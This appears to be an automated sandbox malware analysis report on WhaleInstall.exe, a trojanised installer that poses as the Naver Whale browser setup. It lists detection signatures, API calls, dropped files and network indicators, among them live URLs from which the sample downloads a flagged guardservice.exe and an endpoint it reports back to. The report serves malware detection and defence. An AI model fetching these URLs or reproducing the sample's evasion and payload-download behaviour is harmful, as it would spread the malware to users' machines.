Edit tour

Windows Analysis Report
WhaleInstall.exe

Overview

General Information

Sample name:	WhaleInstall.exe
Analysis ID:	1502261
MD5:	5a5561786e2e4c8c92cad6456fc31c95
SHA1:	b7bd1dc72a2a4e2549ed729e941823af7e9caa03
SHA256:	4243144d5f46c335811d13d712cf53070d3add5876395253df7520903551d138
Tags:	exe
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for dropped file

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to launch a program with higher privileges

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

WhaleInstall.exe (PID: 3608 cmdline: "C:\Users\user\Desktop\WhaleInstall.exe" MD5: 5A5561786E2E4C8C92CAD6456FC31C95)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

record_hit.exe (PID: 5532 cmdline: "C:\Users\user\Desktop\record_hit.exe" MD5: 2D5F648D414ED7303D00D43ACBF4F315)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe	Avira URL Cloud: Label: malware
Source: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/	Avira URL Cloud: Label: malware
Source: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/k	Avira URL Cloud: Label: malware
Source: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe1	Avira URL Cloud: Label: malware
Source: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe0	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1342520
Source: C:\Users\user\Desktop\record_hit.exe	Avira: detection malicious, Label: HEUR/AGEN.1342520

Multi AV Scanner detection for domain / URL

Source: www.kenesrakishevinfo.com	Virustotal: Detection: 11%	Perma Link
Source: https://www.kenesrakishevinfo.com	Virustotal: Detection: 7%	Perma Link
Source: https://www.kenesrakishevinfo.com/	Virustotal: Detection: 7%	Perma Link
Source: https://www.kenesrakishevinfo.com/api/census/RecordHitsuccess://record_hit.exerunas(X	Virustotal: Detection: 12%	Perma Link
Source: https://www.kenesrakishevinfo.com/api/census/RecordHit	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	Virustotal: Detection: 63%	Perma Link
Source: C:\Users\user\Desktop\record_hit.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\Desktop\record_hit.exe	Virustotal: Detection: 63%	Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\record_hit.exe	Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.75.57.69:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: WhaleInstall.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00419AF7 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,		3_2_00419AF7
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00417689 InternetOpenA,wm_SpaceBin,InternetConnectA,FtpFindFirstFileA,FtpOpenFileA,wm_Open,wm_IsFileExist,wm_Open,wm_Open,wm_SeekToEnd,InternetSetFilePointer,wm_GetTickCount,InternetReadFile,wm_Close,wm_BinLeft,wm_WriteBin,wm_GetTickCount,CallWindowProcA,wm_Close,InternetCloseHandle,		3_2_00417689

Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then lea rdx, qword ptr [rbp-31h]	0_2_00007FF772B2A3D0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push rbp	0_2_00007FF772A8B170
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push rbp	0_2_00007FF772AD87D0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then mov rax, qword ptr [rcx+10h]	0_2_00007FF772A86519
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push rbp	0_2_00007FF772A8B630
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then sub rsp, 58h	0_2_00007FF772A6DBB0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push r15	0_2_00007FF772A97B30
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push r15	0_2_00007FF772AA8950
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push rbx	0_2_00007FF772A6DF53
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 4x nop then push rsi	0_2_00007FF772B27D20

Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144
Source: Joe Sandbox View	IP Address: 198.185.159.144 198.185.159.144
Source: Joe Sandbox View	IP Address: 159.75.57.69 159.75.57.69

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A6216A InternetOpenA,InternetOpenA,InternetCrackUrlA,InternetCloseHandle,InternetConnectA,InternetConnectA,InternetCloseHandle,HttpOpenRequestA,InternetCloseHandle,InternetCloseHandle,strlen,HttpSendRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00007FF772A6216A

Source: global traffic

HTTP traffic detected: GET /store_app/guardservice.exe HTTP/1.1User-Agent: UserAgentHost: sgz-1302338321.cos.ap-guangzhou.myqcloud.comCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.kenesrakishevinfo.com
Source: global traffic	DNS traffic detected: DNS query: sgz-1302338321.cos.ap-guangzhou.myqcloud.com

Source: unknown

HTTP traffic detected: POST /api/census/RecordHit HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=utf-8Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.9Origin: https://www.kenesrakishevinfo.comReferer: https://www.kenesrakishevinfo.com/User-Agent: UserAgentHost: www.kenesrakishevinfo.comContent-Length: 819Cache-Control: no-cache

Source: record_hit.exe, record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	String found in binary or memory: http://127.0.0.1:8888/test
Source: record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	String found in binary or memory: http://127.0.0.1:8888/testtestMozilla/5.0
Source: WhaleInstall.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: WhaleInstall.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: WhaleInstall.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: WhaleInstall.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: WhaleInstall.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: WhaleInstall.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: WhaleInstall.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: WhaleInstall.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: WhaleInstall.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: WhaleInstall.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: WhaleInstall.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: WhaleInstall.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: WhaleInstall.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: WhaleInstall.exe	String found in binary or memory: http://whale.naver.com0
Source: WhaleInstall.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: record_hit.exe, 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	String found in binary or memory: http://www.eyuyan.com)DVarFileInfo$
Source: record_hit.exe, record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	String found in binary or memory: https://file.znhds.com.cn/pd/update/Update.exe
Source: record_hit.exe, 00000003.00000000.2036936899.000000000042F000.00000008.00000001.01000000.00000006.sdmp, guardservice[1].exe.0.dr, record_hit.exe.0.dr	String found in binary or memory: https://file.znhds.com.cn/pd/update/Update.exeD:
Source: WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/
Source: WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/k
Source: WhaleInstall.exe, 00000000.00000002.3249989939.000002AA26D16000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26C9B000.00000004.00000020.00020000.00000000.sdmp, WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe
Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe0
Source: WhaleInstall.exe, 00000000.00000003.2035855940.000002AA26C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sgz-1302338321.cos.ap-guangzhou.myqcloud.com/store_app/guardservice.exe1
Source: WhaleInstall.exe	String found in binary or memory: https://www.kenesrakishevinfo.com
Source: WhaleInstall.exe	String found in binary or memory: https://www.kenesrakishevinfo.com/
Source: WhaleInstall.exe	String found in binary or memory: https://www.kenesrakishevinfo.com/api/census/RecordHit
Source: WhaleInstall.exe	String found in binary or memory: https://www.kenesrakishevinfo.com/api/census/RecordHitsuccess://record_hit.exerunas(X
Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.kenesrakishevinfo.com/f
Source: WhaleInstall.exe, 00000000.00000002.3249830273.000002AA26C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.kenesrakishevinfo.com/l
Source: WhaleInstall.exe	String found in binary or memory: https://www.kenesrakishevinfo.comReferer:

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 159.75.57.69:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_00426A84 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,

3_2_00426A84

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_00409F47 GetCurrentProcess,OpenProcess,LocalAlloc,NtQueryInformationProcess,LocalFree,CloseHandle,

3_2_00409F47

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0040AFF1 OpenSCManagerA,wm_BOr,OpenServiceA,DeleteService,CloseServiceHandle,CloseServiceHandle,

3_2_0040AFF1

Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AAC340	0_2_00007FF772AAC340
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A65370	0_2_00007FF772A65370
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AAB430	0_2_00007FF772AAB430
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AE9490	0_2_00007FF772AE9490
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AAE210	0_2_00007FF772AAE210
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A932A0	0_2_00007FF772A932A0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AAD270	0_2_00007FF772AAD270
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A6C750	0_2_00007FF772A6C750
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A74770	0_2_00007FF772A74770
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A9F8F8	0_2_00007FF772A9F8F8
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A81900	0_2_00007FF772A81900
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A878E0	0_2_00007FF772A878E0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AA95D0	0_2_00007FF772AA95D0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772B0B5C0	0_2_00007FF772B0B5C0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AAA520	0_2_00007FF772AAA520
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A73570	0_2_00007FF772A73570
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A946A0	0_2_00007FF772A946A0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A996E0	0_2_00007FF772A996E0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A956E0	0_2_00007FF772A956E0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A6FBD0	0_2_00007FF772A6FBD0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A97B30	0_2_00007FF772A97B30
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A9DCB0	0_2_00007FF772A9DCB0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AA0C38	0_2_00007FF772AA0C38
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A8D9D0	0_2_00007FF772A8D9D0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A9A960	0_2_00007FF772A9A960
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A9FAC0	0_2_00007FF772A9FAC0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A8CAB0	0_2_00007FF772A8CAB0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A9BAA0	0_2_00007FF772A9BAA0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A78B00	0_2_00007FF772A78B00
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A700C0	0_2_00007FF772A700C0
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A8D080	0_2_00007FF772A8D080
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772AA0E00	0_2_00007FF772AA0E00
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A75F00	0_2_00007FF772A75F00
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A65E50	0_2_00007FF772A65E50
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: 0_2_00007FF772A7EE60	0_2_00007FF772A7EE60
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0042229B	3_2_0042229B
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0041ED64	3_2_0041ED64
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_00425ECE	3_2_00425ECE
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0041B770	3_2_0041B770

Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: String function: 00007FF772A6EB80 appears 33 times
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: String function: 00007FF772B2CDD0 appears 50 times
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: String function: 00007FF772B336D0 appears 86 times
Source: C:\Users\user\Desktop\WhaleInstall.exe	Code function: String function: 00007FF772B335E0 appears 78 times
Source: C:\Users\user\Desktop\record_hit.exe	Code function: String function: 0041BC40 appears 43 times
Source: C:\Users\user\Desktop\record_hit.exe	Code function: String function: 0041A652 appears 34 times

Source: WhaleInstall.exe

Static PE information: invalid certificate

Source: WhaleInstall.exe

Static PE information: Number of sections : 20 > 10

Source: WhaleInstall.exe	Binary or memory string: OriginalFilename vs WhaleInstall.exe
Source: WhaleInstall.exe, 00000000.00000000.1999421791.00007FF772B72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWhaleSetup.exeL vs WhaleInstall.exe
Source: WhaleInstall.exe	Binary or memory string: OriginalFilenameWhaleSetup.exeL vs WhaleInstall.exe

Source: classification engine

Classification label: mal76.winEXE@4/3@2/2

Source: C:\Users\user\Desktop\record_hit.exe

Code function: OpenSCManagerA,wm_BOr,wm_Chr,CreateServiceA,CloseServiceHandle,CloseServiceHandle,

3_2_0040ADF0

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0040997E CreateToolhelp32Snapshot,Process32First,wm_Str,wm_StrComp,CloseHandle,Process32Next,CloseHandle,

3_2_0040997E

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_004193E0 CoCreateInstance,MultiByteToWideChar,

3_2_004193E0

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0040C0A9 OpenSCManagerA,OpenServiceA,wm_Chr,wm_Chr,wm_Chr,wm_Chr,wm_Chr,ChangeServiceConfigA,CloseServiceHandle,CloseServiceHandle,

3_2_0040C0A9

Source: C:\Users\user\Desktop\WhaleInstall.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_03

Source: WhaleInstall.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WhaleInstall.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\WhaleInstall.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\WhaleInstall.exe "C:\Users\user\Desktop\WhaleInstall.exe"
Source: C:\Users\user\Desktop\WhaleInstall.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WhaleInstall.exe	Process created: C:\Users\user\Desktop\record_hit.exe "C:\Users\user\Desktop\record_hit.exe"
Source: C:\Users\user\Desktop\WhaleInstall.exe	Process created: C:\Users\user\Desktop\record_hit.exe "C:\Users\user\Desktop\record_hit.exe"	Jump to behavior

Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\record_hit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\record_hit.exe	Section loaded: odbc32.dll	Jump to behavior
Source: C:\Users\user\Desktop\record_hit.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\record_hit.exe	Section loaded: wmvert.dll	Jump to behavior
Source: C:\Users\user\Desktop\record_hit.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\WhaleInstall.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: WhaleInstall.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: WhaleInstall.exe

Static file information: File size 3441498 > 1048576

Source: WhaleInstall.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\WhaleInstall.exe

Code function: 0_2_00007FF772A77DE0 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_00007FF772A77DE0

Source: WhaleInstall.exe	Static PE information: real checksum: 0x34d876 should be: 0x34a518
Source: guardservice[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x58c53
Source: record_hit.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x58c53

Source: WhaleInstall.exe	Static PE information: section name: .xdata
Source: WhaleInstall.exe	Static PE information: section name: /4
Source: WhaleInstall.exe	Static PE information: section name: /19
Source: WhaleInstall.exe	Static PE information: section name: /31
Source: WhaleInstall.exe	Static PE information: section name: /45
Source: WhaleInstall.exe	Static PE information: section name: /57
Source: WhaleInstall.exe	Static PE information: section name: /70
Source: WhaleInstall.exe	Static PE information: section name: /81
Source: WhaleInstall.exe	Static PE information: section name: /97
Source: WhaleInstall.exe	Static PE information: section name: /113

Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0041BC40 push eax; ret		3_2_0041BC5E
Source: C:\Users\user\Desktop\record_hit.exe	Code function: 3_2_0041AC90 push eax; ret		3_2_0041ACBE

Source: C:\Users\user\Desktop\WhaleInstall.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\guardservice[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\WhaleInstall.exe	File created: C:\Users\user\Desktop\record_hit.exe			Jump to dropped file

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0040B163 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

3_2_0040B163

Source: C:\Users\user\Desktop\record_hit.exe

Code function: 3_2_0041A199 IsIconic,GetWindowPlacement,GetWindowRect,

3_2_0041A199

Source: C:\Users\user\Desktop\WhaleInstall.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\WhaleInstall.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\WhaleInstall.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

